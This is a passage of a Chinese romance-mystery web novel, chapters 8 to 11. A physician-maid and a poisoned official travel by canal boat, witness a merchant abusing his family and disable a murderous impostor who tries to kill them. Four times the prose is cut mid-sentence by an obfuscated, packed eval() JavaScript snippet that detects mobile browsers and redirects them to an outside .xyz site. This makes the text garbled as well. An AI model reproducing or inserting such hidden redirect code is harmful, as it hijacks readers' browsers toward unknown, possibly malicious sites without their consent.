远望去,整座船有三层,最下层是货舱,最上一层带小窗的是客房,中间一层应是船工住处。船中桅杆上,悬着一面空青旗帜,上面绣着个醒目的“卫”字。 打量过即将要登上的客船,薛峤又仰头看看身边人,对着那张淡漠的脸试探着问:“那卫明璋是你旧识?” “他也配?”萧恪冷哼一声。 薛峤心道,既然这个反应,那应该真的是。 果然,两人在渡口站了没多大一会儿,卫明璋就与周琰黄允一道下来了。 他也不在乎萧恪那副懒得搭理他的样子,只摆出卫氏少东家该有的模样,有礼有节地将几人请上船。 因他们来得极早,船客大部分都还没到,现下只有些船工在进出忙活。 薛峤跟在萧恪身边,由卫明璋亲自带着往里走。只见船内干净宽敞,布局精巧,灯烛帘幔一应俱全,临窗还设有几套桌椅。中间更有带护栏的楼梯连接上下,乍看去只以为身在茶楼酒肆。 几人拾阶而上,来到三楼,卫明璋将他们领到走廊尽头处,一左一右正好两间客房。 自然还是昨日的住法。 萧恪抬脚就往屋里去,临窗坐下,闭眼开始吐纳调息。 薛峤心知他经络虽已通,但余毒未清,外伤也没愈合,正是需要静养的时候,便不打扰他,只兀自去收拾行李。 一回头,却见卫明璋还没走,而是站在门口,若有所思地看着她。 “卫公子可还有事?”她问。 卫明璋温文一笑,朗声说:“无事,只是觉得姑娘与我一位表妹生得相似,有些面善。” 这属实是没话找话强行套近乎。 薛峤并不想理他。但转念一想,接下来十余日都得住在这船上,何必刚上来就明晃晃得罪船东家?与他闲聊几句维持个表面和谐,说不定还能找他讨些正经的医用银针和外伤药。 反正萧恪自恃功力恢复,方才已经在周琰面前露了一手敲打他。接下来有伤治伤,不必瞒着了。 她便笑盈盈回话:“竟有这么巧的事?不过奴婢出身卑微,可不敢攀扯公子的表妹。” 卫明璋面上仍是那副春风和煦的笑意,话锋却突然一转:“我观姑娘却并不卑微。否则以同知大人的高傲脾性,又才从天牢出来,怎会忍着伤痛亲自为你剔鱼?况且他不是向来不要贴身随侍么。” 薛峤一听,那个还哼哼着不愿承认是旧识,这个倒直接将前事都说出来了。 只是不知他们一个长居京师随侍御前,一个盘踞扬州行船经商,因何缘故相识,又究竟是敌是友。 她正要接着回话,却听萧恪突然冷哼一声。 他连眼睛都没睁开,只冷冷道:“卫明璋,你要是没事干就滚去河里给我捞几条鱼晚上炖汤,别在这说些有的没的。” 卫明璋无奈一笑,只得拱手告辞了。 薛峤立刻关上门,走到萧恪身边,好奇道:“我有一事想问。” 萧恪眼皮一掀,看她一眼,又继续闭目运功,懒懒回答:“无可奉告。” “你都不知道我要问什么就拒绝?”薛峤没好气地瞪他一眼。 “不就是想问我蹲大牢的原因?”萧恪被这打岔打得也没法继续运功,便从地上起来,灵活地歪到榻上,跷起腿来,给自己倒上一杯白水。 又轻声道:“并非瞒着你,只是其间很多事,我也说不清。就如同你说不清鸿福寺大火是谁放的一样。” 薛峤却轻吁一声,无奈地看着他说:“我是想问,卫明璋说你向来不要贴身随侍,可是真的?” “这有什么好作假的。被人时时跟着,我浑身不自在。” “难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653560|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪。”薛峤若有所思。 萧恪不解,“难怪什么?” “难怪你满身陈年旧伤,偏偏后背上的比别处都深。我还以为是有什么我没学到的外伤医理。这样说来,是因为你没有贴身随侍,而那位置自己没法上药?” 萧恪苍白的耳后顿时浮起一层浅红,沉默片刻,他淡声道:“你也出去。没事干就去帮卫明璋捞鱼炖汤。” 薛峤听他这样说,只当他是想安安静静调息,便点点头,当真出去了。 才刚走到廊上,就见一行五人正沿楼梯上来。当中的是个四十多岁的中年男人,身形微胖,穿着一身宝蓝绫罗长袍,腰间束了条玉带,看似富态,眉宇间却隐隐透着一股戾气。 紧随其后的是个穿藕荷色裙衫的妇人,约莫三十五岁上下。她还牵着个瘦弱少女,看年龄大约十三四岁,应是她女儿。 再往后是两个并行的女子,都是十七八岁的模样,看衣着像是婢女,却又戴着钗环首饰。两人俱低着头,瞧不见正脸。 薛峤看清了几人的模样,便收回目光,稍过片刻,又没忍住状似无意地多扫了几眼。 只因这几人实在怪异。明明看着富裕体面,但无论是那妇人还是那两名年轻婢子,露在衣服外的颈部、手腕、耳后都带着或青或红的伤痕,似被人狠狠掐拧过,又像是被什么钝物击打过。 尤其是那少女,一道带血的细痕自她脸颊斜斜延伸到耳际,嘴角也隐隐肿起。双眼通红,还带着泪痕。不慎撞上薛峤的目光,她慌忙垂下头,好似受到了巨大惊吓。 唯独那为首的男子,通身健全,不似有任何伤病。对上薛峤的目光,他亦不躲不闪,只一把扯过妇人与少女,将她们推搡着进房去了。 薛峤心中隐隐有了一些不太好的猜测,却又不好贸然上前询问,只得装作是被主子遣出来守门的婢女,百无聊赖地四处张望。 三楼除去一间卫明璋的居室,拢共只有八间客房。他们占两间,这怪异的五人占两间,余下四间的客人很快也陆陆续续上来了。 薛峤站在廊上目送这些人先后进屋,倒没再发觉有什么不寻常。 两个戴着帷帽的闺阁小姐分别领着各自的婆子丫鬟住了两间,剩余两间是一对面容和善的兄弟,和一个白净斯文的书生。 众人各自登船,各至其位。 此行前去,若一路风和日暄,或许十日就可抵达,若遇上几回大雨,则需要十五日以上。 船帆渐渐升起。 走廊上,薛峤托腮趴在栏边,眉头紧锁,竭力去想究竟是什么人出于什么原因谋害了嘉懿公主。 客房里,萧恪盘腿而坐,薄背挺直如竹。他双眼轻闭,瘦削的指节自然搭在膝上,细细感受经络中那股轻盈流转的清气。 一墙之隔的另一间屋里,周琰仰躺着想,若不尽早找机会将那小子弄死,往后就再没机会了。 客船外,和煦的暖风拂过运河,自南向北,吹渡两岸如画春景。 “开船!” 舵手一声断喝,穿云裂空。 9. 第9章 船行河上,棹破烟波。 暮云合璧时分,卫明璋果真依萧恪所言,张罗了一桌好菜。只不过不是单单招待萧恪的,而是将船上所有客人都喊来了。 沾从二品都督同知官衔的光,薛峤他们一行四人坐在了上首。 萧恪虽面貌年轻,且又苍白虚弱,但他神情淡然,颇有几分官居高位的疏离感。加之左侧是温顺美婢,右侧是阴柔宦官,再往右还坐了个猿臂蜂腰的护卫,看起来煞有其事。 那宝蓝衣服的男子率先端了杯酒,朝萧恪殷勤道:“在下李泰,做珠宝生意的。有幸能同船,鄙人在此先敬大人一杯。” 萧恪根本懒得应付他,只淡声说:“我不喝酒。” 周琰闻声阴恻恻地看过来。心道,你不喝酒?那前日在马车上酗酒且白日宣淫的是鬼? 感受到他的目光,萧恪朝他顽劣一笑,轻飘飘说:“今日刚戒。” 本来是有心攀附,没想到对方一点面子不给,李泰当下脸上就有点挂不住。但他转念一想,毕竟是京城来的大官,年纪轻轻就官居从二品,倨傲些也正常,恰恰说明这不是假货。 于是他眼里的戾气一闪而过,很快又被谄媚盖住了。 “既然不喝酒,那大人多吃些菜。”他和颜悦色道。 卫明璋备的这桌菜比午间漕河春那席还更丰盛。除了那三道熟悉的芙蓉鲫鱼、五香熏鱼、清蒸鲥鱼,又另添了银鱼涨蛋、春笋烧河豚、春鱼煮干丝、鳙鱼头炖汤。 鱼味鲜美,整个船舱都飘香。 萧恪倒是吃得愉快,周琰倒了满满一碗酒,只在心中腹诽:虽说船行河上吃河鲜没错,倒也不至于一桌菜半数都是鱼,喂猫呢? 再看席上诸人,婢子女眷不必在意,黄允有素就行,李泰有马屁拍就行,再远些,自称姓齐的那兄弟俩倒像是也爱鱼,你一勺我一筷,吃得津津有味。白面书生腼腼腆腆不说话,也鲜少动筷,似乎只是抹不开面子来充数的。而那两位闺阁小姐,都没来。 周琰顿时忿忿,心想这一桌鱼死得可真冤。 另一边,薛峤亦是心绪复杂,只想,有人想做东,奈何对方装陌路,有人想溜须拍马,奈何对方不接招。其余众人不过就是来充场子的,话也说不上几句,席间这氛围,简直比宫宴还无聊。 这时,她忽而听到一阵环佩叮咚,随即是一道轻柔娇甜的女声。 “诸位贵客恕罪,妾来迟了。” 抬眼看去,就见一位袅袅婷婷的女子正抱着琵琶从楼上下来,大约十七八岁的样貌,穿织金大红对襟窄袖,碧柳色绣花下裙,正是那两位闺阁小姐中的一个。 先前在三楼廊上初初与她们打照面的时候,薛峤只觉得两人衣着华贵,随行带着丫鬟婆子,又戴帷帽,想来应该是什么大户人家的闺秀。如今再看其举止,却又觉得仿佛不是那么回事。 似乎是猜到了众人心中所想,红衣女子缓步走到堂中,先朝他们福身行了个礼,而后柔柔道:“妾姓上官,是徐州商户女,此行是来扬州探亲的。方才妾在房中梳妆误了时辰,姗姗来迟扰了卫公子和诸位贵客雅兴,且容妾弹一曲琵琶赔罪。献丑了。” 原来是商户女,众人恍然大悟了。 商户人家的确没有诗书世家的闺秀那么多规矩,外出赴宴见人都是常事。眼下席上既有相貌不俗的年轻高官,又有俊美风流的阔商公子,自矜美貌的待嫁女主动来献艺,倒也不稀奇。 语罢,上官小姐便信手拨弦,开始弹奏。 此时星低天阔,月笼寒纱,船行在运河上,唯闻桨声欸乃。珠玉般的琵琶声响起,好似仙音入梦,搅碎满江月华。 再看上官小姐的仪容,只见她云鬓半绾,斜插一支金步摇,没挽起的青丝柔顺散落在肩头,犹如乌墨。细颈纤长,身形窈窕,虽戴了面纱,但仍能看出其容貌不俗。 一时间满席宾客的目光都落在她身上。尤其是几位男客,卫明璋身为东家,自然对主动献艺的客人抱有几分欣赏与谢意,李泰则是毫不遮掩的贪色,齐氏兄弟俩和腼腆书生亦难掩痴迷。 连周琰都不喝酒了,目光也迷醉起来。他虽听不懂琵琶,但懂得看美人。 只除了萧恪,他还在低头吃鱼。 薛峤亦细细聆听了一会儿琵琶曲,又遥遥欣赏起上官小姐美貌。神思一转,却又觉得此事有一种说不出的古怪。 真的只是见席上有权贵便来献艺谋个出路么?可萧恪只顾着吃鱼根本不予理会,也不见这位上官小姐在乎。卫明璋身边的婢子都是绝色,想来亦不是轻易能为美貌所惑的人。 但她一时又想不出弹个琵琶曲能有什么蹊跷,只道自己或许还是在宫里待久了,不懂得民间的人情世故,去找旁人聊几句,或许就不那么多疑了。 待曲终人散,薛峤便凑到周琰和黄允身边,状似嫉妒地说:“明明是弹给咱们萧大人听的,却不见大人有什么反应。这上官小姐真是一腔柔情送错了地方。” 黄允身为内监,自然对美貌女子没什么想法,只淡声敷衍:“萧大人孤傲不群,眼光与旁人不同也正常。” 周琰则呸了一声,啧啧道:“我看他是既瞎又聋,狗眼不识好货。要不是老子这趟办的是皇差,说什么也要将这商户女收了。” 薛峤一听,心下豁然。 这就是怪异的地方。越是商户人家,越该懂得藏巧守拙。今晚这席上人群纷杂,不只有权贵,更有来路不明的一众男子。甚至在席外,还有搬货的苦力和船工。 单看李泰那色眯眯的眼神就知道,本性恶劣的男子,当着众人的面都按捺不住龌龊心思。周琰这话语亦是相同的意思。 那么一个孤身登船的貌美小姐,怎敢在这种场合大出风头? 可此事如李泰那几个女眷身上的伤痕一样,亦不是她一个婢女好过问的。 薛峤只得暂时放下此事,随萧恪回了屋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653561|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一进房间,萧恪便直直问她:“你方才跟周琰他们叽里咕噜说什么呢?” “说你孤傲不群,眼光与旁人大不相同,白白辜负了那位上官小姐貌美才高。” “貌美才高?我没注意。”萧恪抬手挠了挠后脑勺。 此言非虚。皇宫中每逢节庆定有宴会,凡有宴会又定有乐伎献艺。这种场合他一向坐不住,都是能溜则溜,溜不了则刻意略去乐音不听。方才听见那女子说要弹琵琶,他就专心吃鱼两耳不闻盘外事了,什么才貌,他真没注意。 薛峤也懒得跟他多扯。此事的怪异之处并不在于他赏没赏美貌或是听没听乐曲,说有古怪,也不过是她无凭无据的猜测,只能先按下不表。 萧恪突然又说:“这船有古怪,恐怕要出事。” “什么古怪?” “不好说。只感觉那李泰不是什么好东西,齐氏兄弟形迹可疑,书生眼神躲闪,卫明璋来者不善,周琰和黄允更是两个祸患。” 薛峤要被气笑了,反问:“那可真是太热闹了。所以我们该怎么做?” “所以你应该放弃你的保守治疗法,现在就再给我施一次针,至少让我恢复一成功力。这样真出事的时候起码不至于坐着等死。”萧恪认真道。 原来他是在这儿等着呢。薛峤明白过来了。 她本就是第一次真正行医,遇上的又是他这种两种剧毒盘踞体内的极端重症。所以施针时并没有急于求成,而是以疏导为主,先打通经络,放出一部分毒血,再让他自己吐纳调息,等身体机能恢复了再考虑除毒。 可现在,他等不及了。 薛峤正色道:“那些客商即使各怀鬼胎,想来也并不是冲你来的。真正想要你死的,只有周琰和黄允。而黄允不过是遵从皇命,无心救你,却也没想杀你。所以,周琰和你究竟有什么深仇大恨?” “不愧是要考状元的人,条理清晰,一针见血。”萧恪轻笑。 半晌,他淡然道:“我与周琰无冤无仇。只不过是我知晓他一些并不清白的过去,我一日不死,他就要提心吊胆,终日不得安宁。若我没猜错,他现在已经在谋划要怎么背着黄允弄死我了。” “那他的功夫究竟如何?”薛峤问。 “功夫不错,大概有我没中毒时的一成。现在嘛,我大概有他的一成。” 薛峤怔住,细想一下,按这个说法,他如今的功力只有全盛时期的百不及一。如此就已经能炫技剔鱼骨震慑周琰,真完全恢复了,岂不要上天? 再一想,有这样的造诣也照样被投进大牢弄了个半死,还得她从阎王手里抢命,所谓高手,似乎也不过尔尔。 沉吟片刻,薛峤道:“如此说来,倒也不必竭泽而渔让你恢复一成功力,若是我们能让周琰失去九成功力,不也一样?” 萧恪像是听到了什么极好的主意,挑眉一笑,夸道:“说得很好,那么薛女侠,请。” 10. 第10章 薛峤当然不敢直接出手。 且不说周琰脾气暴躁根本不好近身,即使真能找到对他下手的机会,用绣花针治病和用绣花针害人也是完全不同的两件事。 前者尚可放手一搏,后者形同放手找死。 此外,周琰是否真的该遭这罪,也还有待商榷。至少以她这几日的见闻来看,此人虽有一身毛病,但似乎也没什么严重恶行。 她斟酌再三,还是决定先问清楚那“并不清白的过去”究竟是什么。 萧恪有些迟疑地说:“只怕此事说出来,你离天真纯善又要远一步。” “但说无妨。” 一通略去细节的叙述后,屋内是漫长的沉默。 沉默了好一会儿,薛峤找出那些绣花针拈在手里,幽幽道:“天真纯善的是公主。我只觉得干净利落弄死他有些便宜他,反倒是我们这个废了他的想法,十分合宜,只需略施小计。” 至于小计是什么,她附到萧恪耳边,三言两语说出了心中所想。 薄墙另侧,周琰亦还清醒着。 自从午间在漕河春看到萧恪剔鱼骨,他心里那股沉寂已久的恐惧感便又翻涌起来了。 倒不单是恐惧萧恪的武功。山外有山,人外有人,是习武者都明白的道理。 真正让他恐惧的,一直都是那件他压在心底不敢告诉任何人的事。 那件事始于七年前,那时他还不叫周琰。 他生在一处山穷水恶的偏僻山村,和同村的许多人一样,生来只有姓氏和排行,没有名字,幼时叫周三,后来叫周老三。 与同村别的人略有不同的是,他天生块头大,又能吃能喝,是以长出了一副高大威猛的身板,还有一身不俗的力气。 因着这身板和力气,年岁稍长些,他便跟人去走镖。 所谓走镖,就是帮人护送财物上路,搭上性命风险挣个辛苦钱。有时也有送人的,称作肉镖。他走了好几年,送的大多是财物,没接过几次肉镖。 直到有一回,突然有相熟的旧客托他送个人。对方是个比他略小几岁的青年,与他同姓,叫周琰。 周老三见到周琰的那瞬间,几乎以为自己眼花了。世间怎么会有人跟他长得这么像呢?差不多的身高,差不多的体型,差不多的年龄,差不多的眉眼。 唯一的区别就是,他是个看不见前途的穷镖师,而对方手里有一张军籍文书,就要去腾骧卫报到了。 腾骧卫,皇城禁军,武职跳板。 他梦寐以求却进不去的地方,这个连赶几十里路都要请镖师的懦弱青年竟然被选中了。 说不清是因为什么。或许是一时恶念滋生,又或许是传闻中的鬼使神差,总之某个念头在脑海中闪过一次之后,他就再难将其按下去。 最终,在一棵大槐树下,他从背后一刀杀死了那个叫周琰的青年,然后拿着那张军籍文书去了腾骧卫。 后来他就真成了周琰。 调职、升迁,一步步靠近往昔想都不敢想的繁华,甚至接下了皇上亲口密旨。 就在他以为自己再也不会回忆起身为周老三的那段人生时,天牢门口,萧恪一声“周老三”,叫得他几乎肝胆俱裂。 那瞬间他才想起,从前走镖时,萧恪是见过他的。旁人都记不得、认不出,偏偏他可以。 是以,他想要萧恪死。 周老三从往事中抽回思绪,翻了个身,继续想,要怎么弄死萧恪,且不失去自己身为周琰拥有的一切呢? 明知现在就是最好的时机,可他怎么都想不到万全之策。 都是因为那个太监。 要不两个都杀了?他摇摇头。 在船上杀两个人,动静太大。 正在他苦思冥想的时候,突然听到隔壁传来轻微动静。 他趴上去细听,竟是那个婢子在抽泣,呜咽间还伴着细碎的喃喃自语,好像是说萧恪又昏过去了。 周老三顿时两眼放光。 他赶忙翻身下床,去敲隔壁的门。 “笃笃笃”三声过后,那婢子果然红着眼来开门了。 周老三见她又如前日那样哭得梨花带雨,也学着黄允的语气,慢条斯理询问:“乔姑娘,发生了何事?” 薛峤哽咽着回答:“大人他又昏过去了,怎么叫也不醒。” 周老三往床上一看,果然,萧恪正一动不动躺着,衣襟上又是一片血渍。 他暗想,还是高估此人的造诣了,今早在漕河春那一通看似已有功力的手法,原来只是回光返照。 强压下心中的暗喜,他沉声对薛峤道:“乔姑娘莫怕,允公公先前说过的,萧大人他原就有痼疾在身,这样昏睡并非你的错处。” 顿了顿又说:“你且放心,我也懂武功,我先替他护住经脉。” 说着,他抬脚进屋,走到床边。 先伸手在萧恪鼻端探了探,只感觉他吐息气若游丝,果真是一副命不久矣的样子。 再伸手扣住他手腕,感觉他脉象更是微不可察,几乎停滞。 周老三眸光一黯,暗自提气运功。他只需悄悄将萧恪的经脉震断。待明日天亮,即便有懂行的人来看出门道,人也早已凉透了。 他狞笑一下,蓄足了气力。 谁知就在此时,原本闭目昏睡的人忽然睁开双眸,动作凌厉地反扣住他的手腕,与此同时,另一只手锁住他的咽喉,翻身腾跃而起,再用肘部向下一压,就将他反按在了床上。 周老三怒目圆睁,想要挣脱,却感觉压在自己身上的力量好似有千钧之重。 扣在他腕上和咽喉间的手更是微微一按,就钉死了他的脉门。 “你……” 根本说不出一句完整的话。 下一刻,压制着他的力道忽然褪去。 就在他以为萧恪已然力竭,他有余地可以反击的时候,突然,一根绣花针精准地扎进了他的大穴。 接着是第二根,第三根……一连七八根下去,周老三彻底被制住,动弹不得了。 他看看萧恪,又看看用纤细指节拈着针的婢女,此刻才反应过来。 原来如此!原来如此! 见床上的猛汉终于不再挣扎,薛峤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653562|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了口气,低声道:“还好下手及时。” 再看床边的萧恪,方才那几下大动作太损气力,他本就虚弱,现下更是险些要跪倒在地。 薛峤赶忙将他扶住,几乎是整个抱起来,安放到软榻上。 好在此人十分轻盈,抱起来并不多么吃力。临近昏睡时,也并不张牙舞爪,而是耷拉着脑袋,任她揉圆搓扁,又像某种动物了。 待萧恪蹭着软榻找了个舒适方向躺好,薛峤才拈着余下的针,又走回床边。 救人与害人果真不同。 前者精细而繁琐,下针的位置、力度、深浅都得恰到好处,不能有一丝偏差。因而每次替萧恪施针,她都将自己累出薄汗。 后者则轻松多了,人身上拢共就那么几个大穴,还都在咽喉、颈侧、手腕这种十分醒目的位置,将人制住,对准了,使劲扎就是。 薛峤看着周老三那几处大穴,感觉不是很放心,就将手里余下的又全扎上去。 这下好了,一时半会儿他是动不了了。等萧恪歇够了,再来以其人之道还治其人之身,震断他几处重要经脉,就再无后患了。 周老三自然是不甘的。 见他嘴唇翕动,薛峤十分体贴地取下了咽喉处的两根针。 “成王败寇,我认了。但是为何?”他哑声问。 薛峤冷淡反问:“因由岂在旁人身上?” 周老三哑口无言。 他先起恶念杀周琰取而代之,后又因害怕被萧恪拆穿而惶惶不可终日,如今欲杀萧恪,反入毂中。因由的确不在旁人,只在自己。 薛峤不再与他多言,将那两根银针补回去,便从柜中取出一床薄被,蜷到萧恪身边躺下。 眼前有事时,人总会忘了此身何在,此身何来。 待闭目静心,感受到客船行于水上的摇晃,才倏然惊醒,原来此身仍然寄于一叶舟,风波中来,往风波去。 摇晃着入梦,梦里都是那句“你离天真纯善又要远一步”。 …… 黄允不懂武功,没有敏锐的听觉,亦没有闭目养神却五感清明本领。 因而他睡觉,就是实实在在的睡觉,天黑阖眼,天亮睁眼,每回醒来,周琰都已经醒了。 所以今晨醒来,没见到周琰人影,他也只当这人是早早出去了。 谁知他刚起身漱洗好,正对镜整理仪容时,背后又传来了那个熟悉的踹门声。 他一回头,就看到萧恪又是那个双手抱臂的动作,又是懒散倚在门框上。只是这次他眉眼冷淡,连那点若有似无的笑都没有了。 再看他脚下,躺着一个四肢僵硬、面如死灰的人,不是周琰又是谁。 “这是……?”黄允疑惑。 萧恪的眉眼这才稍微舒展开一点,淡淡道:“先前不就说他不听话得揍一顿?揍完了,劳烦允公公看好他。” 说着,他一脚将周琰踹进了门。 黄允满目惊愕,隐约猜到发生了什么,又想不到这是怎么发生的。 他只知道,他们这支往甘州去的队伍,才走几日,就变天了。 11. 第11章 将周老三送去隔壁后,萧恪踱着步子回了屋。 卫家这船造得富丽,收取市价五倍的船资,客房也的确有五倍的雅致。屋中除却一张做工精湛的雕花木床,还另置了一张七尺多长、四尺多宽的软榻。 现下满室寂静,床上地上仍留着昨夜打斗闹出的一片狼藉,薛峤则还未醒来,正在榻上安静睡着。 萧恪先将床铺收拾好,换上干净被褥,而后百无聊赖地蹲到榻边,细细打量起这张熟睡中的脸。 没了前几日的狼狈憔悴,此时也不必扮演卑微仆婢,少女现在看起来肤若新雪,一缕清气蕴在她眉眼间,让他很自然地回想起第一次见到她时的情景。 那是去岁中秋宴上。 他厌恶席间应酬,一如既往找了个借口逃席,在宫苑中随意寻得一棵高树,飞身上去,想要躲个清静。 就在他刚准备闭眼小憩时,树下忽然来了个鬼鬼祟祟的少女。 他原以为自己又撞上了什么无聊的后宫龃龉,污蔑过别人之后销毁罪证,又或是藏东西正准备栽赃别人之类的,那些人总在做这样的事。 谁知少女左右张望一番,并没有什么见不得人的举动,而是从怀中取出本书,席地而坐津津有味地看起来。 他好奇地瞟了一眼,竟是本儒家经典注解。 接着就有几个年轻大臣来了,醉醺醺的一群人,举手投足间都是一股才刚入仕的志得意满。 他们当中有人认得她,开口调笑:“这不是嘉懿公主身边的小薛典簿么?不在公主身边伺候,原来是来这儿躲懒了。” 又有人说:“你一个内廷女官竟抱着本《中庸章句》苦读,莫不是要扮男装去考状元?可你这明眸皓齿的,只怕还没进考场就被认出来了!” 余下的人跟着起笑。 他在树上听着,随手折了根树枝,心想,正好今日还没练剑,树下这么多欠削的,只待小姑娘哭声起,他就一个个削过去。 结果哭声没来,倒有一道泠泠的声音响起,只听她气定神闲说:“若不得科考就不可读圣贤书,那圣人著书岂不白忙一场?毕竟诸位大人经科考入仕,四书五经理应都熟记于心,可今日一见,倒像是一个字都没读懂。既然如此,不妨都来坐下,我给你们一句句讲?” 这话听着没什么脏词,但骂得实在难听。 事因圣贤书而起,经她之口又指向科考,若传出去,这几个人的官不必当了,脸也不必要了。 他们果真没再说什么,面面相觑,拱手赔礼,然后讪讪离开。 小风波平息得太快,但树枝不能白折。最后,第一个出言调笑的那个年轻大臣头上莫名挨了一记飞来横枝。 回忆完此事,再看榻上蜷卧着的人,萧恪扯出个淡笑,只觉得因缘际会、天意无常。 谁能想到仅仅半年多时间,曾在皇城宫苑闹出这段小插曲的人,如今竟称得上是零落无几。那几个新登科的小官死的死、贬的贬,树上树下躲懒的两人亦离开了帝京。 时事易变,或许只有那棵树还是原样。 萧恪垂眸看着榻上的少女,见她经历了这几日奔波,做过通缉逃犯、演过娇弱婢子,依旧没敛去眉间那抹凛然,心头莫名一滞,便好似当时在树上抬手折枝一样,抬手将她打横抱起,轻轻放到床上。 薛峤是将近巳时才醒来的。 船行水上,轻微的摇晃和水声催人好眠。从鸿福寺出事到今日,这算是她第一回舒舒服服躺着、心无挂碍地睡一个完整好觉。 在一阵不近不远的喧哗声中,她缓缓睁开眼,就发觉上方的屋顶变成了雕花床顶,身下的软榻变成了更软的床,而萧恪正背对着她在床边打坐。 省去前后语句,薛峤直接发问:“你干什么?” 萧恪回头看她一眼,又转过去继续运功,平淡道:“我将周老三几处要紧经脉都震断,丢给黄允了。被褥换过,是干净的。往后你睡床我睡榻。” 薛峤微怔一下,很快反应过来。 怪不得将她搬到床上,原来是威胁已除,以后可以放心睡觉了,圈地盘呢! 她对此毫无异议。两人共住一间虽不大方便,但以她如今的身份,不与名义上的主子同住一间,就只能去跟船工们挤大通铺。一个人睡床还是和人挤通铺,好赖她还是分得清的。 至于床和榻的分配……那榻不比床小多少,也不难睡,并不算虐待病患。 说话间,走廊上的响动依旧没停。 薛峤起身漱洗用早膳,一边问:“外面怎么这么乱?” 萧恪闭着眼,淡声回答:“李泰将他女儿打昏过去了。薛女侠若想拔刀相助,可以先为我恢复功力。半成就够用,杀个李泰不在话下。” “你想都别想。”薛峤淡哼一声。 好容易帮他捡回一条命,岂能由着他任性? 何况李泰与周老三不同,他是籍属扬州府的良民,而且打的又是自家亲眷,钻了律法空子,按律也判不得死刑。若真擅自将他杀了,他们两个岂不是罪加一等? 转念再一想,恶徒暂不能杀,但无辜女子还是要救的。 她又问:“你的心头大患已经除去了。那么我是否不必再隐瞒医术?” 萧恪似是瞬间就明白了她在想什么,仍自闭目运功,淡声回答:“你想做什么放手去做就是。若有人阻拦,叫卫明璋来找我。” 薛峤得了允准,利落起身推门出去。 廊上果然乱成了一团。 李泰的夫人鬓发凌乱,伏跪在地上,将昏死过去的女孩紧紧揽在怀里,没有掉眼泪,眼睛却红得像要滴血。那两个十七八岁的女子都跪趴在她身边,肩膀缩着,将头埋得很低。 齐氏兄弟俩一左一右拉住李泰,正好言相劝:“李兄消消火,有什么话好好说!这船上可没医馆,万一真打出个什么好歹怎么办!” 李泰却并不吃这套,只挣扎着想甩脱他们,嘴里骂骂咧咧:“老子教训自己的女儿你们也要管?一个个站着说话不腰疼,有本事花钱将这赔钱货买去!没本事就少在这儿假惺惺装菩萨!” 薛峤朝那夫人看去,只见她怀中的女孩双眼紧闭,比起前日,她额头到下颌又新添了两道明显的红肿,眼睛周围和颈间俱是一片淤青,嘴角还渗着血。好在她心口仍有起伏,呼吸尚存。 又听得书生讷讷开口:“兴许还是清晨饮酒伤了脾性。李兄不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662575|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若先回房歇着?咱们在这廊上闹出响动,恐会惊动同知大人。” 这话一出,李泰倒像是听进去了。他消停下来,朝跪趴在地上的两个女子道:“进来服侍老子就寝。” 说罢,看也没看夫人和女儿,兀自进了屋。 那两个女子战战兢兢起身,薛峤这才看清她们的长相。两人俱是标标准准的鹅蛋脸、柳叶眉,雪肤桃腮、琼鼻樱唇,单论容貌,竟丝毫不输卫明璋身边那两个绝色婢女。 待他们三人进屋关上房门,廊上顿时安静下来。 齐氏弟兄俩面面相觑,亦回了屋。书生看着仍跪在地上出神的李夫人,上前半步,欲言又止,神情一时有些尴尬。 他轻叹一口气,无奈抬头移开视线,这才发现不远处还站着个人。 薛峤迎着书生的目光上前去,朝他微微福身见礼,又蹲到李夫人身边,扶住她的手臂,温声劝道:“夫人,廊上风大,不若先将小姐送回房躺着?” 李夫人闻声抬头,看清是萧恪身边的婢女,竟忙挥开搀扶她的手,瑟缩着向后跌去。而后硬撑着狼狈起身,逃跑似的抱着女儿跌跌撞撞进了另一间房,迅速将门关上。 薛峤狐疑起身,怔在原地。 书生赶忙走到她面前,低声问:“姑娘如何出来了?可是同知大人被吵到了?” 